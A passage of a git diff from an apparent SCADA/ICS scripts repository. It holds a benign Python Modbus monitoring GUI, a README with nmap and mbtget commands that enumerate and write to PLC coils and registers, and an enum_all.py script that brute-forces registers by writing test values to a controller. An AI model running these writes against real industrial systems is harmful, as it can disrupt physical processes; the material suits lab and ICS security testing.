if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in 